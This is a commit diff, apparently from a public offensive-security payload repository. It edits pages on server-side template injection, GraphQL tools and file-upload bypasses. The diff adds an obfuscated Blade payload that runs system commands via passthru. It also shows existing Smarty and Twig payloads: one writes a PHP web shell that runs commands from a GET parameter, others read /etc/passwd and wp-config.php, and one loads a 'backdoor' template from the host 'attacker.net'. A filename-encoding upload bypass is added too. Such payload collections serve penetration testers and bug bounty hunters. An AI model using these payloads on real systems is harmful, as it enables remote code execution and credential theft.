Skip to content

Commit 832b54f

Browse files
committed
Syntax Highlighting SSTI
1 parent 5c0ee4c commit 832b54f

File tree

4 files changed

+30
-13
lines changed

4 files changed

+30
-13
lines changed

GraphQL Injection/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,7 @@
3838
- [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
3939
- [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
4040
- [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
41+
- [dolevf/graphw00f](https://github.com/dolevf/graphw00f) - GraphQL Server Engine Fingerprinting utility
4142
- [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
4243
- [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
4344

Server Side Template Injection/PHP.md

Lines changed: 27 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -21,21 +21,34 @@
2121

2222
## Templating Libraries
2323

24-
| Template Name | Payload Format |
25-
| -------------- | --------- |
26-
| Laravel Blade | `{{ }}` |
27-
| Latte | `{var $X=""}{$X}` |
28-
| Mustache | `{{ }}` |
29-
| Plates | `<?= ?>` |
30-
| Smarty | `{ }` |
31-
| Twig | `{{ }}` |
24+
| Template Name | Payload Format |
25+
| --------------- | --------- |
26+
| Blade (Laravel) | `{{ }}` |
27+
| Latte | `{var $X=""}{$X}` |
28+
| Mustache | `{{ }}` |
29+
| Plates | `<?= ?>` |
30+
| Smarty | `{ }` |
31+
| Twig | `{{ }}` |
32+
33+
## Blade
34+
35+
[Official website](https://laravel.com/docs/master/blade)
36+
> Blade is the simple, yet powerful templating engine that is included with Laravel.
37+
38+
The string `id` is generated with `{{implode(null,array_map(chr(99).chr(104).chr(114),[105,100]))}}`.
39+
40+
```php
41+
{{passthru(implode(null,array_map(chr(99).chr(104).chr(114),[105,100])))}}
42+
```
43+
44+
---
3245

3346
## Smarty
3447

3548
[Official website](https://www.smarty.net/docs/en/)
3649
> Smarty is a template engine for PHP.
3750
38-
```python
51+
```php
3952
{$smarty.version}
4053
{php}echo `id`;{/php} //deprecated in smarty v3
4154
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
@@ -52,7 +65,7 @@
5265
5366
### Twig - Basic Injection
5467

55-
```python
68+
```php
5669
{{7*7}}
5770
{{7*'7'}} would result in 49
5871
{{dump(app)}}
@@ -62,7 +75,7 @@
6275

6376
### Twig - Template Format
6477

65-
```python
78+
```php
6679
$output = $twig > render (
6780
'Dear' . $_GET['custom_greeting'],
6881
array("first_name" => $user.first_name)
@@ -76,14 +89,14 @@ $output = $twig > render (
7689

7790
### Twig - Arbitrary File Reading
7891

79-
```python
92+
```php
8093
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
8194
{{include("wp-config.php")}}
8295
```
8396

8497
### Twig - Code Execution
8598

86-
```python
99+
```php
87100
{{self}}
88101
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
89102
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
@@ -249,4 +262,5 @@ layout template:
249262

250263
## References
251264

265+
- [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere- YesWeHack - March 24, 2025](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
252266
- [Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58)

Server Side Template Injection/Python.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -406,3 +406,4 @@ PoC :
406406
- [Exploring SSTI in Flask/Jinja2, Part II - Tim Tomes - March 11, 2016](https://web.archive.org/web/20170710015954/https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
407407
- [Jinja2 template injection filter bypasses - Sebastian Neef - August 28, 2017](https://0day.work/jinja2-template-injection-filter-bypasses/)
408408
- [Python context free payloads in Mako templates - podalirius - August 26, 2021](https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/)
409+
- [The minefield between syntaxes: exploiting syntax confusions in the wild - YesWeHack - October 17, 2025](https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits)

Upload Insecure Files/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -102,6 +102,7 @@ Other extensions that can be abused to trigger other vulnerabilities.
102102
* Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
103103
* Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp`
104104
* Multiple special characters: `file.jsp/././././.`
105+
* UTF8 filename: `Content-Disposition: form-data; name="anyBodyParam"; filename*=UTF8''myfile%0a.txt`
105106
106107
* On Windows OS, `include`, `require` and `require_once` functions will convert "foo.php" followed by one or more of the chars `\x20` ( ), `\x22` ("), `\x2E` (.), `\x3C` (<), `\x3E` (>) back to "foo.php".
107108
* On Windows OS, `fopen` function will convert "foo.php" followed by one or more of the chars `\x2E` (.), `\x2F` (/), `\x5C` (\) back to "foo.php".

0 commit comments

Comments
 (0)